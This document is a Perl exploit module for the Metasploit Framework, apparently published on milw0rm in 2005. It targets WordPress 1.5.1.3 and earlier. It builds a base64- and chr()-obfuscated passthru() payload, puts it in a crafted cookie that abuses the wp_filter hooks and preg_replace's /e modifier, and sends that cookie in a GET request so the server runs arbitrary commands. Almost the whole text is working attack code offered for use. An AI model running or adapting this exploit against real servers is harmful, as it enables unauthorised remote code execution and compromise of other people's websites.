WordPress Core 1.5.1.3 - Remote Code Execution (Metasploit)

##
#        Title:  Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit)
#    Name: php_wordpress.pm
# License: Artistic/BSD/GPL
#         Info: I lub metasploit yummmm (str0ke ! milw0rm.com).
#
# Recoded Kartoffelguru's php code for metasploit.  I love cookies. /str0ke
#  
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
# 
##

package Msf::Exploit::php_wordpress;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     => 'Wordpress <= 1.5.1.3 Remote Code Execution eXploit',
        'Version'  => '$Revision: 1.0 $',
        'Authors'  => [ 'str0ke' ],
        'Arch'     => [ ],
        'OS'       => [ ],
        'Priv'     => 0,
        'UserOpts' =>
          {
                'RHOST' => [1, 'ADDR', 'The target address'],
                'RPORT' => [1, 'PORT', 'The target port', 80],
                'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' => [1, 'DATA', 'Path WordPress root directory', '/'],
                'SSL'   => [0, 'BOOL', 'Use SSL'],
          },

        'Description' => Pex::Text::Freeform(qq{
                This module exploits a code execution exploit in wordpress blog <= 1.5.1.3.
}),

        'Refs' =>
          [
                ['MIL', '1142'],
          ],

        'Payload' =>
          {
                'Space' => 512,
                'Keys'  => ['cmd', 'cmd_bash'],
          },

        'Keys' => ['wordpress'],
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $target_port    = $self->GetVar('RPORT');
        my $vhost          = $self->GetVar('VHOST') || $target_host;
        my $path           = $self->GetVar('RPATH');
        my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

        my $encoded = Pex::Text::Base64Encode("passthru(\"$cmd\");");
        $encoded =~ s/\n//gm;

        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $encoded));

        $byte.=".chr(32)";

        my $str = Pex::Text::Base64Encode('args[0]=eval(base64_decode('.$byte.')).die()&args[1]=x');

        $str =~ s/\n//gm;

        my $data = "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;".
                   "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;".
                   "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=$str".
                   ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;".
                   "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;".
                   "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;";

        my $req =
                "GET $path HTTP/1.0\r\n".
                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n".
                "Host: $vhost:$target_port\r\n".
                "Pragma: no-cache\r\n".
                "Accept: */*\r\n".
                "Cookie: $data\r\n".
                "\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,
                'LocalPort' => $self->GetVar('CPORT'),
                'SSL'       => $self->GetVar('SSL'),

          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
                return;
        }

        $self->PrintLine("[*] Sending the malicious WordPress Get request...");

        $s->Send($req);

        my $results = $s->Recv(-1, 20);
        $s->Close();
        $self->PrintLine($results);

        return;
}

1;

# milw0rm.com [2005-08-10]